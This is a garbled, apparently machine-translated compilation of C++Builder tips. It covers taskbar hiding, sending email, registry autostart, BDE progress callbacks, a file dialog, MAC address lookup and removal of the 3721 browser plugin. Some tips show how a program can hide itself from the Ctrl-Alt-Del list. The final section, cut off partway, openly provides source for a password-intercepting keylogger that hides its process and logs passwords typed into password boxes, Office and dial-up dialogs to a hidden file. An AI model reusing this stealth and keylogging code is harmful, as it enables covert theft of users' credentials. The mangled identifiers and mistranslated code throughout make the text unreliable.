send email

zhaozj2021-02-16  65

Keywords: task bar; send email

How to hide the application's task bar icon First, see these terms. The system tray is a small box in the right corner of the task bar, and the application can display a small icon in the pallet. Task bars are toolbars that can be extended on the screen. It is where the program icon is located. To hide the task icon of the program, you can apply the showWindow function and pass it to the Application-> Handle window handle. ShowWindow (Application-> Handle, SW_HIDE); if you want the task bar icon to appear again, simply change sw_hide to sw_show. ShowWindow (Application-> Handle, SW_SHOW); Note: You can set the Visible property of the main window to hide it. Note: The task bar icon for hiding the window via ShowWindow is not lasting. Some movements will make the task bars icon. You can set the hidden application window to Tool Window to remove the program's task bar icon to avoid it again. Tool Windows never has a task bar icon. Make the application window a tool window has a side effect: it will not appear in the list when the user presses alt-tab. You can call the API function getWindowlong and SetWindowl to make the application window a Tool window. WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int) {DWORD dwExStyle = GetWindowLong (Application-> Handle, GWL_EXSTYLE); dwExStyle | = WS_EX_TOOLWINDOW; SetWindowLong (Application-> Handle, GWL_EXSTYLE, dwExStyle); try {Application-> Initialize () Application-> Createform (__ classid (tform1), & form1); Application-> Run ();} catch (exception & exception) {Application-> showexception (& Exception);} return 0;} Note: Hide the main window after the program is started Body, you can add the following code in WinMain: (Project-> View scource) showwindow (Application-> Handle, SW_HIDE); Application-> ShowMainform = false; do the following two lines of code when you want to display the program :( Remember Live, if the code is positioned in one method of the main window class, Application-> Mainform-> Visible = true can be replaced with Visible = true.) ShowWindow (Application-> Handle, SW_SHOW); Application-> Mainform-> Visible = TRUE; Send Email 2000 "Computer News" published the topic of the article "Do Hand Writing Email Software", the article tells how to write a simple email sender with VB. In fact, if you are a C Builder enthusiast, you can write such software faster and more simply. Please listen to me to decompose: Two protocols closely related to e-mail are POP3 and SMTP, POP3 is an abbreviation of Post Protocol 3, used to receive email from the POP3 server, SMTP is an abbreviation of Simple Mail Transfer Protocol, used to pass The SMTP server sends an email.

These two protocols themselves are very complicated, but C Builder introduced POP, SMTP control from NetManage, so we can do not depends on the mechanism of sending and receiving mail, as long as these controls can be selected, you can compile a C Builder send mail Program. The SMTP control is described below: SMTP control is located on the Internet page of the control bar, name: NMSMTP. The main attributes of SMTP are: Host property, used to specify the host name of the SMTP server. The port number used to specify the port number of the SMTP server, which is typically set to 25. UserId property is used to set the username when logging in to the SMTP server. Postmessage properties, this property is very important, you can see from the following: fromName is used to specify the name of the sender. FromAddress is used to specify an e-mail address of the sender. LocalProgram is used to specify the mail client used by the sender. The address of the toaddress recipient. Body mail body. Subject mail topic. SMTP control method: Connect function, used to log in to the SMTP server, before using this function, Host, port, userid, etc. must be set. Disconnect functions for disconnecting the connection to the SMTP server. The Sendmail function is used to send an email to the SMTP server. I know these, we can write the program.

New application, save the project as sendmail, add NMSMTP controls on Form1, and the Host property adds to the name of the SMTP server, such as "SMTP.YEAH.NET", UserId Attribute Add to the username of this mailbox application, Other properties maintain the default value; add 4 Label controls, set their Caption to: "Sender Name", "Recipient Address", "Mail Topics", and "Mail Text"; join 4 Edit controls, will Its NAME is set to: "Name1", "Address1", "Subject1" and "Body1"; a spetedButton control, caption is: "Send" (the above attribute is not included), the Click event code is: NMSMTP1-> Connect (); NMSMTP1-> PostMessageA-> FromName = Name1-> Text; NMSMTP1-> PostMessageA-> FromAddress=〃superlink@yeah.net〃; NMSMTP1-> PostMessageA-> ToAddress-> Add (Address1-> Text); NMSMTP1 -> PostMessageA-> Subject = Subject1-> Text; NMSMTP1-> PostMessageA-> Body-> Add (Body1-> Text); NMSMTP1-> PostMessageA-> LocalProgram = 〃SendMail〃; NMSMTP1-> SendMail (); Application- > MessageBoxa (〃 Send completed! 〃, 〃 mail system 〃, mb_ok); nmsmtp1-> disconnect (); completed! Some people can't help but ask: "Is it so simple?", It is so simple. However, NMSMTP controls have a lot of functions that are not listed here, and the NMPOP3 control can be used to write a program that receives mail. If you love C Builder friends, you can write an electronics such as Outlook Express, Foxmail. Mail software.

C Builder Problem Rootkey is the root key value of the registry, such as HKEY_USERS, which is seen after regedit, hkey_local_machine is rootkey, default rootkey in TregInile is HKEY_USERS. The following example is Tregistry, Treginifile almost void __fastcall TfrmMainForm :: WriteToMyRegistry (int table_count) {// TODO:! Add your source code here TRegistry * MyRegistry = new TRegistry; MyRegistry-> RootKey = HKEY_LOCAL_MACHINE; // change the default Rootkeyif (MyRegistry-> OpenKey ( " Software // Microsoft // Windows // Current / Version // Run ", true)) {// Open the primary key // This double quotation is turned into the currentkey application-> MessageBox (" Registry Content Invalid ", "Read registry error", MB_ICONERROR); myregistry-> closekey (); delete myregistry; return;} myregistry-> writeString ("Myrun", "c: //sthvcd//sthvcd.exe"); myregistry-> Closekey (); delete myregistry; how to hide the application does not allow it to appear in the Ctrl-Alt-Del dialog box to hide your application from the Ctrl-Alt-Del dialog box to the title of the application . If the main window of a program does not have a title, Windows does not put it in the CTRL-Alt-Del dialog box. The best place to clear the title attribute is in the Winmain function. WinAPI Winmain (Hinstance, Hinstance, LPSTR, INT) {try {Application-> Title = ""; Application-> Initialize (); Application-> Createform (__ classid (tform1), & form1); application-> run (); Catch (Exception & Exception) {Application-> showexception (& Exception);} Return 0;} Another way is to call the RegisterServiceProcess API function Register the program into a service mode program. RegisterServiceProcess is a function that is related but no official files in kernel32.dll. There is no prototype instructions for this function in the MS SDK header file, but can be found in Borland Import Libraries for C Builder. Obviously, the main purpose of this function is to create a service mode program. The reason why it is obvious because it does not say anything about this function in MSDN. The following example code demonstrates how to hide your program from the Ctrl-ALT-Del dialog box under Windows95 / 98.

// ------------------------------------------------------------------------------------------------_stdcall * pRegFunction) (DWORD, DWORD); class TForm1: public TForm {__ published: TButton * Button1; private: HINSTANCE hKernelLib; pRegFunction RegisterServiceProcess; public: __ fastcall TForm1 (TComponent * Owner); __ fastcall ~ TForm1 ();}; // - ---------- CPP File ------------------------------ # include "unit1.h" # define RSP_SIMPLE_SERVICE 1 # define RSP_UNREGISTER_SERVICE 0__fastcall TForm1 :: TForm1 (TComponent * Owner): TForm (Owner) {hKernelLib = LoadLibrary ( "kernel32.dll"); if (hKernelLib) {RegisterServiceProcess = (pRegFunction) GetProcAddress (hKernelLib, "RegisterServiceProcess" ); if (RegisterServiceProcess) RegisterServiceProcess (GetCurrentProcessId (), RSP_SIMPLE_SERVICE);}} __ fastcall TForm1 :: ~ TForm1 () {if (hKernelLib) {if (RegisterServiceProcess) RegisterServiceProcess (GetCurrentProcessId (), RSP_UNREGISTER_SERVICE); FreeLibrary (hKernelLib);} } WINDOWS starts running programs If you want to run a program at Windows, you can implement it to the registry, one example: first add #include in the source file (CPP) Void __fast call TForm1 :: Button1Click (TObject * Sender) {Tregistry * Reg; Reg = new TRegistry (); Reg-> RootKey = HKEY_LOCAL_MACHINE; Reg-> OpenKey ( "SOFTWARE // MICROSOFT // WINDOWS // CURRENTVERSION // RUN", False); REGSE); "Start", "D: //oicq///qq.exe");} Customer / Server Remote Data Transfer Processing Skills In the actual MIS system, remote database access is mostly connected by MODEM. For communication costs and speed considerations, it is often used to save data in the local, and then centrally transferred to the remote approach. Remote data transfer can have multiple programs, the most common is to package the data to be transmitted into a file, transferred to the destination in the form of file transfer, and add it to the local database after the destination is restored. This approach is generally applied to the securities trading system, which has the advantage of being fast and can save data compression, greater limitations in advance. However, this solution also has its shortcomings: Due to the use of document transport mechanism, the characteristics of the database itself such as integrity constraints, data consistency, rollback mechanism, etc., therefore less adopted in a more complex database system.

Another method is to directly process the two ends into a "client / server" mode, and the data transmission is regarded as submitting data to the Server. Since this solution makes full use of the characteristics of the database server, and the actual operation is basically consistent with the local area network, this document will be described in detail. Due to the transmission speed, it is absolutely not in favor of submitting data to the server when transmitting a large amount of data, and it should be submitted to the server, and a TBATCHMOVE control is provided in Delphi / CBuilder to use it for mass transfer data. Reduce the network burden and improve the transmission speed. Unfortunately, the TBATCHMOVE control only provides a simple error control function, no important functions such as display transmission progress, user termination transfer. However, the BDE depends on TBATCHMOVE provides a "callback mechanism" to complete the above two functions. The so-called "callback" process is this: When the BDE performs some operation,, for example, copying a large amount of data from one table, every time (if you need to display copy progress), BDE will call A function (callback function) you write, to help you control the program more complete. This approach is a bit for Event (event) and event handler function in DLPHI - a specific operation action will let VCL trigger an event, thereby calling a section of the event handler, different events trigger different Processing function. In order to make BDE work correctly with your function, you must "register" your function in advance, let BDE knows that a certain piece of code should be called when an event occurs. BDE provides a DBiregisterCallback registration function. Unfortunately, the instructions in BDE online help cannot be suitable for Delphi / CBuilder, follow the programs written in this instructions Can't compile! The author found the method of using the BDE callback function by practicing, the use of this mechanism will be described in detail below. The BDE callback mechanism contains the following steps: 1) Write your callback function in a predetermined format of BDE 2) Call the dbiregisterCallback function to register your callback function, which naturally triggers your callback function when you perform the relevant database operation. 3) Perform related database operations, such as BatchMove1-> Exectue (); 4) Logout The most critical is to register your callback function correctly, so first introduce the second step. (Registration and logout call the same function, only the last parameter is slightly different) first you should know which "event" calls your callback function when you call your callback function, follow the parameters and data structure related to the event - --- it all happened when calling DbiRegisterCallBack registration function, so the following will introduce and explain the correct usage of DbiRegisterCallBack: in the original BDE help prototype of the function (C) is such DBIResultDBIFNDbiRegisterCallBack (hCursor, ecbType, iClientData, iCbBufLen, pCbBuf , PFCB); To use this function must include header file, the problem is that Delphi / CBuilder does not provide this file at all, replaced by "BDE.HPP", but after the file is included, the program still cannot compile because the file is There is no description of DBIFN or the like. A simple method is to remove DBIFN in the code.

Interpretation of each parameter is as follows: Hcursor is a handle of an object in a BDE. If this parameter is null, the registered callback function is suitable for all BDE tasks; the second parameter ECBTYPE means the category of the trigger condition of the callback function, there is Many types can be selected, where CBgenProgress means triggering this callback function when you need to display a long operation; the third parameter iClientData is a pointer to a data structure that passes to the callback function, null in our example; Four parameters ICBBUFLEN refer to the size of the buffer, which varies with the second parameter, such as SIZEOF (CBProgressDesc); the fifth parameter PCBBUF is a pointer to the buffer, which changes the second parameter, For example, the data structure of CBGENProgress is CBProgressDesc; the last parameter is an address pointer of the callback function, indicating the callback function of the type when the parameter is NULL. About the callback function will be described in detail later. The following is the format of the callback function that displays progress when registering execution: intrst = dbiregistercallback (null, // is suitable for any process CBGENPROGRESS, // Tune type: Display long operating progress null, // No data SIZEOF (CBProgressDesc), // Data structure size & acbbuf, // data memory address APICALLBACKFUN // callback function address); Next, the first step should be completed: writing a callback function in C, the callback function should be declared: cbrtype__stdcallapicalLBackFun (CBTypeecbtype, / / Tune Type InticlientData, // Toned Data (Pointer) VOID * PCBINFO // Tune Data Structure Pointer) The first parameter is a callback type; the second parameter is the callback data, which explains the third parameter with DBIREGisterCallback; One is a pointer to the callback data, which is different from the type of callback. For example, the progress indicating that the data structure of CBGENProgress is CBProgressDesc, which is defined as follows: structcbprogressdesc {shortiProgressDesc {ShortiProgressDesc {ShortiPrientDone; // Progress percentage Charszmsg [128]; // The textual information}; this structure is only one role, first A representation of the progress percentage when it is a second domain when it is -1.

The second domain represents progress information with a string, which is <: , such as: Recordscopied: 125 This article is mainly completed in the callback function: 1) Display data copy (BatchMove) progress 2 ) provides long copy allows the user to terminate the copy progress display mechanism code is as follows: CBRType__stdcallApiCallBackFun (CBTypeecbType, // CallbacktypeInt iClientData, // Clientcallbackdatavoid * pCbInfo // Callbackinfo / Client) {AnsiString str; if (ecbType == cbGENPROGRESS) {intj = StrtOINT ((CBProgressDesc *) PCBINFO) -> ipercentddone); if (j <0) {// If IpercentDone is -1, analyze SZMSG information str = ((cbProgressDesc *) PCBINFO) -> szmsg; intpos = Str.ansipos (":") 1; // Extract the copy of the record number // below the code to display copy progress and copy quantity in a Form1-> label2-> caption = str.substring (POS, 100); form1-> label2-> update (); form1-> Progressbar1-> position = int (Str.Substring (pOS, 100) .todouble () / form1-> transnum) * 100); Form1-> Progressbar1 -> Update ();} else {form1-> progressbar1-> position = j; form1-> progressbar1-> update ();} return CBRCONTINUE; / / must return CBRCONTINUE to let BatchMove continue, if you return to CBRABORT, termination copy} } After everything is completed, the callback function is triggered whenever BDE operation (such as BatchMove1-> EXECTUE ()), pay attention to "logout" this callback function when not needed. If the batch transfer data is long, the user must provide the user to terminate the operation, mention, if the callback function returns CBRABORT, the BatchMove process is terminated immediately. You can add a "stop" button and a global Boolean variable ISCONTINUE on the Form. When the copy is started, the variable is true. When the button is pressed, the variable is set to false, check the value of IsContinue each time the callback function is called. If the callback function returns CBRCONTINUE for True, let copies continue, otherwise returns CBRabort termination copy. However, the problem is that once the copy process begins, all messages in this process will be blocked, and the application does not have the opportunity to respond to all messages such as the keyboard, the mouse before the application, and even the screen refresh can not be completed, so it is necessary to find a way to avoid message blocking. .

Everyone knows that Windows is driven by events (messages), there are two message queues in the Win32 system: system queue and application queue, when a program is operated for a long time, the system allocated to the program will be complete Used to handle this operation, in other words, the application does not remove the message from its application queue, so that the program will stop everything to respond to external events until the operation is completed. Specifically, the program must wait until BATCHMOVE1-> execute () to respond to user operation, so the user will not have the opportunity to terminate the copy process. The solution is to remove the messages in the message queue in the callback function, and process them in the background so that the user will have the opportunity to press the termination button.

The code implemented is simple. In the callback function, the following code can be added to CBRTYPE__STDCALLAPICALLBACKFUN (...) {... msgamsg; while (peekMESSG, NULL, 0, 0, PM_REMOVE)) {// Take a message from the queue TRANSLATEMESSAGE & AMSG); // Translation Message DISPATCHMESSAGE (& AMSG); // Distribution Message} IF (IsContinue) Return CBRCONTINUE; ElsereturncBrabort;} Software cover implementation 1. First set two forms form1 form2 where Form1 is the main form, FORM2 is Dynamic call form Add the following code in the project file Project1.cpp: #include #include "unit2.h" #pragma hdrstopuseres ("project1.res"); useform ("Unit1.cpp", Form1) Useform ("Unit2.cpp", Form2); // ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------- WinApi WinMain (Hinstance, Hinstance, LPSTR, INT) {Try {Application-> Initialize (); form2 = new TFORM2; FORM2-> show (); form2-> update (); application-> createform (__ classid (tform1), & form1); delete form2; application- > Run ();} catch (}) {Application-> Showexception (& Exception);} return 0;} 2. Then add the following code in the main form Unit1.cpp: void __fastcall tform1 :: formcreate (TOBJECT * Sender {Unsigned long delaytime; // Set the delay time is 5 seconds delayTime = 5000; curtime = gettickcount (); / / At this point, you can add the initialization process of the application unsigned long inter; do {interface; form2-> progressbar1-> position = inter * 100.0 / delaytime;} while (interfiTime);} The 2000 new dialog box is displayed in BCB. I will test the new dialog box in 2000 and XP, but I can't use the components in the BCB, I can only call the API function yourself, once again illustrate the power of the API function. My The procedure is as follows, I hope everyone will advise .//main.h//------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------- # iFndef mainh # Define mainh // --- -------------------------------------------------- ---------------------- # include #include #include #include #include #include

/ / -------------------------------------------------------------------------------------------- --------------------------- Class TForm1: Public TForm {__ Published: // Ide-management Components TButton * Button1; TPANEL * Panel1; TMEMO * Memo1; TPanel * Panel2; TGroupBox * GroupBox1; TCheckBox * CheckBox1; TButton * Button2; void __fastcall Button1Click (TObject * Sender); void __fastcall FormCreate (TObject * Sender); void __fastcall FormDestroy (TObject * Sender); void __fastcall Button2Click ( TObject * Sender); void __fastcall CheckBox1Click (TObject * Sender); private: // User declarationspublic: // User declarations LPOPENFILENAMEA pOpenFile; BYTE * pBuf; __fastcall TForm1 (TComponent * Owner); void __fastcall DisplayInMemo (String str);}; / / -------------------------------------------------------------------------------------------- --------------------------------------------- -------------------------------------------------- ---------- # endif //main.c//------------------------------- -------------------------------------------- # include #pragma hdrstop # include "main.h" // ------------------------------------------------------ ------------------------------------- # prgma package (smart_init) #pragma resource "* .dfm "TFORM1 * FORM1; / / ----------------------------------------- -------------------------------__ fastcall tform1 :: tForm1 (tComponent * Owner: TFORM (Owner) {} / / --------------------------------------------------- -------------------------- void __fastcall tform1 :: button1click (Tobject * sender) {string str; Bool Breturn = getopenFileName (Popenfile); if (Breturn) {str.sprintf ("You selected files% s", popenfile-> lpstrfile; displayINMEMO (STR);} else {str.sprintf ("You have no selected file"); DisplayInMemo (STR);

}} // ---------------------------------------------- ----------------------------- void __fastcall tform1 :: formcreate (tobject * sender) {string str; pbuf = (byte *) Malloc (1024); MEMSET (PBUF, 0, 1024); PBUF = "* .txt"; Popenfile = (LPopenFileNamea) Malloc (OpenFileNamea)); MEMSET (Popenfile, 0, Sizeof (OpenFileNamea); popenfile-> lStructSize = sizeof (OPENFILENAMEA); pOpenFile-> hwndOwner = Handle; pOpenFile-> hInstance = hInstance; pOpenFile-> lpstrFilter = "text file (* .txt)"; pOpenFile-> nFilterIndex = 0; pOpenFile-> nMaxFile = 255; POPENFILE-> FLAGS = OFN_EXPLORER; POPENFILE-> LPSTRFILE = PBUF; popenfile-> lpstitle = "My File dialog"; popenfile-> lpstrinitialdir = ".//"; // Popenfile-> str.sprintf ("Show 2000 Style dialog presentation "); DisplayInMemo (STR);} // ----------------------------------- ---------------------------------------- Void __fastcall tform1 :: formstroy (TOBJECT * SENDER ) {Free (void *) popenfile;} // ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------- void __fastcall tform1 :: disap AyinMemo (String str) {if (memo1-> lines-> count> 100) {memo1-> lines-> clear ();} memo1-> text = str char (13) char (10) MEMO1-> TEXT;} void __fastcall tform1 :: button2click (Tobject * sender) {close ();} // -------------------------------------------------------------------------------------------------------------------- --------------------------------------------- Void __fastcall tform1 :: CheckBox1click (TOBJECT * Sender) {if (checkbox1-> checked) {popenfile-> flags | = OFN_READONLY;} else {popenfile-> flags & =! OFN_READONLY;}} // --------- -------------------------------------------------- ---------------- Test in BCB5. How to Shield System Alt

F4 First: Package the following two codes in the PUBLIC section of the header file of your password window: // This is a function of custom response message: void __fastcall oncloseform (tMESSAGE Message); // Defines a message domain: Begin_Message_MAP Message_Handler (WM_SYSCOMMAND, TMESSAGE, ONCLOMMAND) END_MESSAGE_MAP (TFORM) Step 2: Increase this function in the code window: (Note Tfwelcome is the name of the password window, changed to your own password window name) Void __fastcall tfwelcome: : Oncloseform (TMESSAGE MESSAGE) {if (message.wparam == sc_close) {// This message interception is to prevent the user from closing the login window. IF (Application-> MessageBox ("You do to turn off this system?", "Jin Wa Software Reminder", 48 | 1) == 1) {Application-> Terminate (); // If the user selects "Yes" Just close the entire program.}}} Description: This user does not turn your password window, and the key is closed. Call the API function NetBIOS to get the network card physical address This program is called the API function NetBIOS Get a network card physical address. // -/ -/ -/r (char * mac); // return: True if success and mac is mac address, // false ife fail.//bool mac (char * mac ) {typedef struct_stat_ {adapter_status adapt; name_buffer namebuff [} ASTAT, * PASTAT; ASTAT Adapter; NCB NCB; Uchar uretcode; char TMP [40]; MAC [0] = '/ 0'; MEMSET (& NCB, 0, SIZEOF (NCB)); ncb.ncb_command = ncbreset; ncb.ncb_lana_num = 0; uretcode = NetBIOS (& NCB); if (uretcode! = 0) {strat (Mac, "Init Error!"); Return false;} MEMSET (NCB, 0, SIZEOF (NCB)); ncb.ncb_command = ncbastat; ncb.ncb_lana_num = 0; STRCPY ((char *) ncb.ncb_callname, "*"); // This "*" representative get this network card Address, you can get the NIC address of other machines within the local area network.

Ncb.ncb_buffer = (unsigned char *) & adapter; ncb.ncb_length = sizeof (adapter); uretcode = netbios (& ncb); if (uretcode == 0) {for (int i = 0; i <6; i ) {sprintf (TMP, "% 02x", (int) adapter.adapt.adapter_address [i]); STRCAT (MAC, TMP);} Sprintf (TMP, "Software:% D.% d", adapter.adapt.rev_major, Adapter .adapt.rev_minor; strcat (mac, tmp); Return true;} else {strat (Mac, "unknown."); returnaf false;}} More than 3721 network real name "virus" (written by C ) recently When you browse some portals, you will be unknowingly installed an IE plugin called "3721 Network Reality". Although these portals and 3721 are kind, so that this unilaterally installed such a plug-in is a bit wrong! The reason why it is a virus because it is also boot automatically, and although it brings some convenience, it is extremely unstable, and slows down in the Internet speed. On the S8S8.NET Forum, I saw that many netizens often show the prompts of Explorer.exe when shutdown. I also have to suffer from harm, take a closer study, the problem is in this "3721 network real name"! More infusable is that it may be due to the comparison of the program, there is no uninstall function at all! Attach its source code here, you can see this is not a Trojan. However, the program is very bad ... #include "windows.h" #include "winbase.h" void main () {char buf [max_path]; :: zeromemory (buf, max_path); :: getWindowsDirectory (buf, max_path) ; char filename [MAX_PATH]; :: ZeroMemory (filename, MAX_PATH); strcpy (filename, buf); strcat (filename, "// Downloaded Program Files // CnsMinIO.dll"); :: MoveFileEx (filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT ); :: ZeroMemory (filename, MAX_PATH); strcpy (filename, buf); strcat (filename, "// Downloaded Program Files // CnsMin.dll"); :: MoveFileEx (filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); :: ZeroMemory (filename, MAX_PATH); strcpy (filename, buf); strcat (filename, "// Downloaded Program Files // cnsio.dll"); :: MoveFileEx (filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);} the following will give you uninstall the plugin Detailed process.

Since this 3721 network real name plugin is to use Rundll32.exe call connection library, the system cannot terminate the Rundll32.exe process, so we must restart your computer, press F8 to enter the security mode (F8 can only press once, don't press more!) . After that, click Start -> Run Regedit.exe Open Registry, Go: HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / RUN / Delete Key: CNSMIN whose key value is: rundll32.exe C: / Winnt / Download ~ 1 / CNSMIN.DLL, RUNDLL32 (if it is Win98, here C: / WinNT / DOWNLO ~ 1 / for C: / Windows / Download / Software / Microsoft / Internet Explorer / AdvanceDOptions / Delete ":! CNS Directory joins the options for 3721 network real names in the Internet Options -> Advanced. HKEY_LOCAL_MACHINE / SOFTWARE / 3721 / and HKEY_CURRENT_USER / Software / 3721 / Delete the entire directory: 3721 NOTE: If you installed additional software in 3721, such as Need for flying cats, you should delete the entire directory: HKEY_LOCAL_MACHINE / SOFTWARE / 3721 / CnsMin and HKEY_CURRENT_USER / SOFTWARE / 3721 / CNSMIN HKEY_CURRENT_USER / SOFTWARE / Microsoft / Internet Explorer / Main / Delete Key: CNSenable Its key value is: A2C39D5F Delete key: CNSHINT whose key value is: A2C39D5F Delete key: CNSLIST whose key value is: A2C39D5F is deleted After the items in the registry, you also need to delete the 3721 network real name file stored in the hard disk. Delete as follows: C: / Winnt / DownLO ~ 1 directory (here C: / WinNT / DOWNLO ~ 1 / C: / Windows / Download 2001-08-09 15:34

3721 2001-08-02 17:03 40,960 cnsio.dll 2001-08-08 14:14 102,400 cnsmin.dll 2001-08-24 23:14 42 cnsmin.ini 2001-08-09 10:18 13,848 CNSMINEX.CAB 2001 -07-06 17:57 32,768 cnsminex.dll 2001-08-25 02:52 115 CNSMINEX.INI 2001-08-25 02:51 17,945 CNSMINIO.CAB 2001-08-02 17:02 32,768 cnsminio.dll 2001-08 -24 23:15 40,793 CNSMINUP.CAB C: / Winnt / Downloadlo ~ 1/3721 Directory 2001-08-02 17:03 40,960 CNSIO.DLL 2001-08-24 15:53 ​​102,400 cnsmin.dll 2001-07-06 17:59 213 CNSMIN.INF 2001-08-24 15:48 28, 672 CNSMinio.dll All the above documents are all deleted, so the 3721 network real name "virus" is all from your computer all. Finally, restart your computer and enter the normal mode.

Now there is no bundle of 3721 network real names! . ::: [end] ::: .. The following is a prohibition 3721 method: After uninstalling 3721, use Notepad to open C: / Windows / Hosts (lookup, description as file), add the following characters (IP and domain name) Separate apart from a space): 0.0.0.0 www.3721.com 0.0.0.0 cnsmin.3721.com 0.0.0.0 Download.3721.com The saved file is named Hosts (note do not add any extensions), Windows 98 / The ME system saves the file to the Windows directory, and the Windows 2000 / XP system saves the file to the WinNT / System32 / Drivers / etc directory. If there is already a hosts file, it can be replaced directly. Then open the browser observation result, how? I can't see the 3721 dialog box? Similarly, you can also deal with advertisements in the web with the HOSTS file. Nowadays, there are many mainframes that store advertisements. You can know which host is stored on which host is stored, and then resolved this host's IP, you can refuse to do these ads. Outside.

It can also accelerate frequently viewed websites: xxxx (space) www.x.com (IP is true value) .. ::: [] ::: .. You can use multiple page browsers 3721.com 218.244.44.10 3721.net 202.106.148.154 www.3721.com 218.244.44.10 www.3721.net 202.106.148.154 download.3721.com 218.244.44.34 download.3721.net 218.244.44.35 added to the blacklist, the block segment C 218.244. 44. * 202.106.148. * Accessories attached to HOSTS: # Copyright (c) 1993-1999 Microsoft Corp. # # this is a sample hosts file used by Microsoft TCP / IP for Windows. # This file contains the mappings of ip addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # Space. # a additional, Comments (Such asted) May Be in Individual # Lines or following the machine name denoted by a '#' symbol. # 102.54.94.97 rhino.acme.com # Source Server # 38.25.63.10 x.acme.com # x Client Host 127.0.0.1 localhost 127.0.0.1 3721.com # 3721 network real name 127.0.0 .1 3721.net # 3721 Network real name 127.0.0.1 cnsmin.3721.com # 3721 network real name 127.0.0.1 Download.3721.com # 3721 Network real name 127.0.0.1 www.3721.com # 3721 network real name 127.0.0.1 www. 3721.NET # 3721 Network Real Name A Intercepting User Enter Password Program When I finished a few years ago, the function is to save it in a file when the user enters dial, Excel, Word password. The program is used by the log hook, so you don't have to write a DLL like other global hooks. In order to let the beginners understand, put the source code, (the C compiler of the SDK program VC, BCB, etc.) is like the current record E-mail password, OICQ password and other tools, 俺There is no OICQ when writing the stuff. Interested in adding yourself.

#include #define KeyPMask 0x80000000 # define SERVICE_PROC 1 # define UNSERVICE_PROC 0 # define RUN "//GmkMon.exe"typedef struct tagKEYDATA {char kKey; SHORT kShift; SHORT kCaps; SHORT kNum; BOOL bShift; BOOL bCaps ; BOOL bNum;} KEYDATA, * LPKEYDATA; HHOOK hHook = NULL; DWORD (WINAPI * RegisterServiceProcess) (DWORD, DWORD); LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM); LRESULT CALLBACK JournalRecordProc (int nCode, WPARAM wParam, LPARAM lParam); BOOL WINAPI HideProc (int mode) {HINSTANCE DLLInst = LoadLibrary ( "KERNEL32.DLL"); if (DLLInst) {RegisterServiceProcess = (DWORD (WINAPI *) (DWORD, DWORD)) GetProcAddress (DLLInst, "RegisterServiceProcess" ); if (RegisterServiceProcess) {RegisterServiceProcess (GetCurrentProcessId (), mode); return TRUE;} elsereturn FALSE;} else return FALSE;} BOOL WINAPI IsPassWindow () {HWND hWnd, curHwnd; TCHAR szTemp [MAX_PATH]; DWORD dwsTyle; hWnd = GetActiveWindow (); if (hwnd == null) Return False; curhwnd = hwnd; while (curhwnd! = Null) {hWnd = curhwnd; curhwnd = getParent (hwnd);} dWStyle = getWindowlong (hwnd, gwl_st YLE); if (dWStyle & Es_Password) // Normal Password Box Return True; ELSE IF (! Lstrcmp, "edtbx")) // Excel Password Return True; Else If (! Lstrcmp (sztemp, "richedit20w") && (DWStyle & WS_SYSMENU)) Return True; // Word Password getWindowText (hwnd, sztemp, sizeof (sztemp)); if (! Strncmp, "Connect to", 6)) // Dialing Network Return True; Return False; } TCHAR WINAPI GETKEY (INT NKEY) {KeyData Kd; kd.kshift = getKeyState (vk_shift); kd.kcaps = getKeyState (0x14); kd.knum = getKeyState (0x90); kd.bshift = (kd.kshift & keypmask) == KeypMask; kd.bcaps = (kd.kcaps & 1) == 1; kd.bnum = (kd.knum & 1) == 1; if (nkey> = 48 && nkey <=

57) if (! Kd.bshift) return (kd.kkey = nkey); if (nkey> = 65 && nkey <= 90) {if (! Kd.bcaps) if (kd.bshift) kd.kkey = nkey; Else kd.kkey = nkey 32; else if (kd.bshift) kd.kkey = nkey 32; else kd.kkey = nkey; return kd.kkey;} if (nkey> = 96 && nkey <= 105) / / Keypad 0-9IF (kd.bnum) Return (kd.kkey = (NKEY-96 48)); if (nkey> = 186 && nkey <= 222) // Other keys {switch (nkey) {copy 186 : if (! kd.bshift) kd.kkey = ';'; Else Kd.kkey = ';'; Break; Case 187: if (! kd.bshift) kd.kkey = '='; Else Kd.kkey = ' '; Break; Case 188: if (! Kd.bshift) kd.kkey = ','; else kd.kkey = '<'; breaf; case 189: if (! Kd.bshift) kd.kkey = ' - '; else kd.kkey =' _ '; breaf; case 190: if (! kd.bshift) kd.kkey ='. '; else kd.kkey ='>; break; case 191: if (! kd .bshift) kd.kkey = '/'; else kd.kkey = '; (! kd.bshift) kd.kkey =' `'; else kd.kkey =' ~ '; Break; CASE 192: fs Case 219: if (! kd.bshift) kd.kkey = '['; Else Kd.kkey = '{'; Break; Case 220: if (! kd.bshift) Kd.kkey = '//'; ELSE Kd.kkey = '|'; Break; Case 221: if (! kd.bshift) kd.kkey = ']'; Else Kd.kkey = '}'; Break; Case 222: if (! kd.bshift) KD .kkey = '//'; else kd.kkey = '//'; breaf; de Fault: kd.kkey = 'n'; break;} if (kd.kkey! = 'n') return kd.kkey;}} void WinApi writepassfile (int nkey) {handle hfile; dword dwbyteswrite = 1; tchar lpstr, szTemp [MAX_PATH]; hFile = CreateFile ( "C: //passdata.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); SetFilePointer (hFile, 0, NULL, FILE_END);

